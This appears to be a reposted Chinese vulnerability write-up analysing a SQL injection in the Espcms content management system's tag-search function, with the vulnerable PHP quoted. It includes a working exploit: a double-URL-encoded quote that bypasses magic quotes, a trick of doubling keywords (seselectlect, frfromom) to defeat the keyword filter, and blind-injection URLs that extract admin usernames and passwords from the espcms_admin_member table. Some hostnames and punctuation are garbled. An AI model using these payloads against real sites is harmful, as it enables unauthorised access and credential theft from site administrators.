漏洞 ：Espcms 通杀 SQL注入漏洞分析附EXP
漏洞作者：Seay
博客： HdhCmsTestcnseay测试数据
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收录 85W
漏洞在interface/search.php 文件和interface/3gwap_search.php文件in_taglist()函数都存在，一样的问题，以
interface/search.php为例说明：
function in_taglist() { parent::start_pagetemplate(); include_once admin_ROOT . 'public/class_pagebotton.php'; $page = $this->fun->accept('page', 'G'); $page = isset($page) ? intval($page) : 1; $lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG; $tagkey = urldecode($this->fun->accept('tagkey', 'R')); $tagkey = $this->fun->inputcodetrim($tagkey); $db_where = ' WHERE lng=\'' . $lng . '\' AND isclass=1'; if (empty($tagkey)) { $linkURL = $_SERVER['HTTP_REFERER']; $this->callmessage($this->lng['search_err'], $linkURL, $this->lng['gobackbotton']); } if (!empty($tagkey)) { $db_where.=" AND FIND_IN_SET('$tagkey',tags)"; } $pagemax = 20; $pagesylte = 1; $templatesDIR = $this->get_templatesdir('article'); $templatefilename = $lng . '/' . $templatesDIR . '/search'; $db_table = db_prefix . 'document'; $countnum = $this->db_numrows($db_table, $db_where); if ($countnum > 0) { $numpage = ceil($countnum / $pagemax); } else { $numpage = 1; } $sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle, color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax"; $this->htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON['file_fileex'], 5, $this->lng['pagebotton'], $this->lng['gopageurl'], $this->CON['is_rewrite']); $sql = $this->htmlpage-> PageSQL('pid,did', 'down'); $rs = $this->db->query($sql); while ($rsList = $this->db->fetch_assoc($rs)) {
由于$tagkey变量使用了urldecode，从而可以绕过GPC ，最终
$db_where.=] AND FIND_IN_SET(‘$tagkey’,tags)];
$tagkey 被带入SQL 语句。
可以看到下面有
$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";
也被带入 数据库 查询，两条语句可以注入，可以看到第二条 SQL 语句是可以查询出数据的。但是由于 espcms 默认配置是不显示 SQL 语句错误的，而第一条 SQL 语句查询出来的是 count(*) ，即 int ，
更蛋疼的是只要第一条查询报错，第二条就不会执行。所以只有用第一条盲注来搞了。
漏洞测试EXP： http://HdhCmsTest2cto测试数据 /espcms/index.php?ac=search&at=taglist&tagkey=a%2527
由于espcms本身有防注入函数，在文件
public\class_function.php inputcodetrim() 函数。
function inputcodetrim($str) { if (empty($str)) return $str; $str = str_replace("&", "&", $str); $str = str_replace(">", ">", $str); $str = str_replace("<", "<", $str); $str = str_replace("<", "<", $str); $str = str_ireplace("select", "", $str); $str = str_ireplace("join", "", $str); $str = str_ireplace("union", "", $str); $str = str_ireplace("where", "", $str); $str = str_ireplace("insert", "", $str); $str = str_ireplace("delete", "", $str); $str = str_ireplace("update", "", $str); $str = str_ireplace("like", "", $str); $str = str_ireplace("drop", "", $str); $str = str_ireplace("create", "", $str); $str = str_ireplace("modify", "", $str); $str = str_ireplace("rename", "", $str); $str = str_ireplace("count", "", $str); $str = str_ireplace("from", "", $str); $str = str_ireplace("group by", "", $str); $str = str_ireplace("concat", "", $str); $str = str_ireplace("alter", "", $str); $str = str_ireplace("cas", "cast", $str); $str = preg_replace("/ ]+>/i" , " ", $str); $str = preg_replace("/ ]+>/i" , "
", $str); $str = preg_replace("/ ]+>/i" , "", $str); $str = preg_replace("/width=(\'|\")?[\d%]+(\'|\")?/i", "", $str); $str = preg_replace("/height=(\'|\")?[\d%]+(\'|\")?/i", "", $str); $str = preg_replace("' )'si" , "", $str); return $str; }
只是把关键字替换为空，例如union 可 uunionnion 绕过本身防注入，还可以无视不拦截单引号的 waf 。
猜解用户名长度
http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay测试数据%2527,tags) or did>1 and 1=(seselectlect length(username) frfromom espcms_admin_member limit 1) limit 1– by seay
爆破用户名和密码：
http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay测试数据%2527,tags) or did>1 and 97=ascii((seselectlect mid(username,1,1) frfromom espcms_admin_member limit 1)) limit 1– by seay
最终上个官网的图：
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